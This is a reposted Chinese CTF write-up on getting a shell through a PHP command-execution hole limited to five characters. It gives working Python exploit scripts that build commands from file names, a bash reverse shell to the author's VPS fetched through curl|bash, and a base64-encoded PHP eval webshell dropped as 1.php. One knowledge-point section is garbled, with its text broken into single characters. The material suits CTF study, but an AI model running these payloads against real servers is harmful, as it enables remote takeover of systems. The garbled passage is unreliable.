概述
文章目录
- 基础知识
- 正式开始操作
- 如反弹一个shell:
- 上传Webshell马
遇到了这样一个题,这题是一个特别的命令执行题, 首先进去首页之后发现以下源码:
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
此题长度限制为5,所以不能用常规的方法来getshell。orange师傅给的方式是通过拼接执行来getshell。
基础知识
1.可以通过“>”符来创建文件,如“>a”将创建名为a的文件
ls>a 将目录写进a文件 ls>>a 追加的形式写(注意排序问题,按照顺序写的)
2. 通过ls的-t(从晚到早)参数来按时间先后来排序文件,新文件在前,旧文件在后
3. sh a 会把文件a里面的内容当作命令来执行
4. 可以使用反斜杠“ ”来进行命令拼接,实现换行(最后一个i后面没有“”了,说明命令结束,并开始执行)
5. 通过base64来避免特殊字符
6. 输入通配符 * ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
>id
>root
# ls
* (等同于命令:id root)
7. 增加字母来限定被用来当作 命令 和 参数 的文件
>ls
>lss
>lsss
>1
*s (等同于命令:ls lss lsss)
*使第一个列出的文件名(ls)当作命令,剩下的文件名当作参数,而*后面的s有限制了只有含有s的字符串才能当做参数
8. 联合知识点⑦,通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出)
>rev
echo 1234 > v
*v (等同于命令:rev v)
9. ls是 换行 输出,先看下ls的效果,ls的结果写到文件g中时每个文件名都是单独一行,这样会影响知识点 ⑥ 的命令执行
先创建几个命令文件:
# ls -t>g
>>g
>-t\ # 两个反斜杠用于转义,防止最后一个反斜杠在命令行中就被当做换行符
>s \
>l\
ls的结果写到文件g中时每个文件名都是单独一行,就不能利用⑥中的“*”方式来执行命令了,而必须借助“ ”来执行g文件中的命令。
**10. 使用
I
F
S
来
代
替
空
格
∗
∗
有
时
候
一
条
命
令
中
可
能
要
有
多
个
空
格
,
而
这
样
的
话
用
上
面
的
方
法
拼
接
命
令
是
就
会
生
成
相
同
名
的
文
件
(
空
格
)
,
会
造
成
覆
盖
,
所
以
要
用
‘
{IFS}来代替空格** 有时候一条命令中可能要有多个空格,而这样的话用上面的方法拼接命令是就会生成相同名的文件(空格),会造成覆盖,所以要用`
IFS来代替空格∗∗有时候一条命令中可能要有多个空格,而这样的话用上面的方法拼接命令是就会生成相同名的文件(空格),会造成覆盖,所以要用‘{IFS}`等符号来代替一个空格
如一下命令:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
这里我们看到其中出现了2个空格,这里我们需要把其中一个空格用${IFS}替换。否则新的空格文件会替换旧的空格文件导致,攻击payload失效,所以变成下面这样的
echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
11. 错误语句不会影响下面正确语句的执行
-t
>q
a //这之前的命令虽然是错的,但不会影响下面正确语句的执行
l
s
-t
>q //实际输出的命令为 ls -t>q
正式开始操作
综上,我们需要做的就是将命令写进文件,使用“ ”来连接不同行,然后执行文件就可以。但是问题出现了,我们控制不了文件的顺序,使得写入文件时的顺序不会是按照我们想的顺序,如果能按照时间排序就很完美了,当然ls -t就是这个功能,我们需要把它写进一个文件里,方便接下来调用。
首先我把下面这段代码写入到主机中我们创建的名为a的文件中去,然后后期再传入攻击payload时。通过sh执行a文件即可生成f文件,然后再让sh去执行f文件的代码内容即可得到一句话木马
ls ‐t>g
我们将这个命令写入文件a,a文件中的内容为“ls ‐t>g”
我们想要ls -t>g这个命令写入文件a,那么创建ls ,-t ,>g这三个文件,
所以payload如下
>ls \
>-t\
>>g
我们有这三个文件了,就可以调用命令ls>a 将目录(目录中的文件名)写进a文件。但是发现…a里面的命令实际是乱的(因为ls和dir命令结果默认是根据文件名字母顺序进行排序的):
怎样才能将创建的文件可以排成我们想要的顺序呢?
方法一:
看看大佬的顺序是如何弄的(环境不一样,可能是不一样的)
# ls ‐t>q
>-t\
>>q
>l\
>s \
ls>a
ls>>a
ls>a之后 文件内容为
在ls>>a 得到的结果为
我们看到第四个到第七个组成了ls -t>q,前面的错误指令不用考虑,不影响。该方法环境不一样,可能是不一样的。有局限性。
方法二:(借助字典顺序、dir、rev和“*”符号)
用dir来代替ls不换行输出;rev将文件内容反向输出;在用ls时,写到a时每个文件名都是单独一行,这样会影响知识点⑥的命令执行。所以“*”要配合dir来用。
我们的目的是把下面这段代码写入到主机的a文件中去:
ls ‐th >f //h的存在是为了更好地利用字典顺序
我们将这个命令写入文件a,a文件中的内容为“ls ‐t>f”
所以payload如下
>dir
>f>
>ht-
>sl
*>v (等同于命令:dir "f>" "ht‐" "sl" > v ,先将反向命令的写入中间文件v,文件v中的内容为f> ht- sl (dir写入文件自动加空格,所以不需要在用“”来转义空格了))
>rev
>*v>a (等同于命令:rev v > a)(a里面的内容为:ls ‐th >f)
以上h的存在只为了能够利用字典顺序,即f
在ht-
前,ht-
在sl
前,这就按照字母顺序写入了v,v再反向输出一下就得到了ls ‐th >f
这个方法挺巧妙的也挺实用的,本体利用的也是这个方法。这样我们的payload第一部分已经写完,我们将ls ‐th >f 写入了a文件,后期再传入攻击payload或执行其他命令时,通过sh执行a文件即可生成f文件,得到的f文件里就是我们想要执行的命令或木马。
如反弹一个shell:
我们在自己的vps上web目录/var/www/html/里先创建一个文件index.html,里面写好反弹shell的话(由于linux文件名不能有斜杠“/”,所以就不能curl xxx.xxx.xxx.xxx/1.txt,我们就用index,这样47.1x0.1x0.123连上后会默认自动访问index.html反弹shell)
bash -i >& /dev/tcp/47.1x0.1x0.123/2333 0>&1
接下来让该题目标靶机执行curl 47.1x0.1x0.123|bash
写脚本:
import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
'>ls\',
'ls>_',
'> \',
'>-t\',
'>>g',
'ls>>_',
# generate `curl 47.1x0.1x0.123|bash`
'>sh ',
'>ba\',
'>|\',
'>3\',
'>12\',
'>0.\',
'>1x\',
'>0.\',
'>1x\',
'>7.\',
'>4\',
'> \',
'>rl\',
'>cu\',
# exec
'sh _',
'sh g',
]
r = requests.get('http://49.234.5.69:30002/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://49.234.5.69:30002/?cmd=' + quote(i) )
print i
sleep(0.2)
返现不行,没有成功反弹shell。原来在我们脚本中存在了两个“>0.”,无法创建两个同名的文件,所以后一个0.文件将前一个0.文件覆盖了,这是ip地址的原因,我们可以从网上将ip地址转为十进制的来解决。
我们这里来使用域名来代替ip:
www.rxxi.vip
import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
'>ls\',
'ls>_',
'> \',
'>-t\',
'>>g',
'ls>>_',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>sh ',
'>ba\',
'>|\',
'>ip\',
'>v\',
'>i.\',
'>x\',
'>rx\',
'>w.\',
'>ww\',
'> \',
'>rl\',
'>cu\',
# exec
'sh _',
'sh g',
]
r = requests.get('http://49.234.5.69:30002/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://49.234.5.69:30002/?cmd=' + quote(i) )
print i
sleep(0.2)
在生成自己的命令时要注意各个命令段之间名字不能相同 因为不能生成两个带有相同命令段的文件名。
用Finalshell连上自己的vps,执行nc -lvp 2333等待连接
执行完Python脚本后我们的vps就可以成功连上靶机的shell了,在根目录就可以找到flag。
上传Webshell马
我们的payload第一部分已经写完,接下来我们需要把这段代码上传到主机,其中的内容为(<?php eval($_GET[1]);)base64编码后的内容
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
这里我们看到其中出现了2个空格,这里我们需要把其中一个空格用${IFS}替换。否则新的空格文件会替换旧的空格文件导致,攻击payload失效,所以变成下面这样的
echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
那么我们只需要将上面的代码拆分倒序输入到主机即可。我们需要让sh先执行a文件(ls -th >f)就会得到f文件,最后再让sh去执行f文件即可得到1.php。最终payload如下最终payload:
payload.txt:
>dir
>f>
>ht-
>sl
*>v
>rev
*v>a
>hp
>p\
>1.\
>>\
>-d\
>64 \
>se\
>ba\
>|\
>7\
>Sk\
>X\
>x\
>Fs\
>FV\
>d\
>X0\
>k\
>g\
>bC\
>h\
>XZ\
>gZ\
>A\
>aH\
>w\
>D9\
>P\
>S}\
>IF\
>{\
>$\
>o\
>ch\
>e\
sh a
sh f
Python:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://49.234.5.69:30002/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是 否攻击成功
test = requests.get("http://49.234.5.69:30002/var/www/sandbox/473beaa15f3bfe7b4fc99499fffac5ed/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
连菜刀就行了:
最后
以上就是高大发卡为你收集整理的5位可控字符下的命令执行的全部内容,希望文章能够帮你解决5位可控字符下的命令执行所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复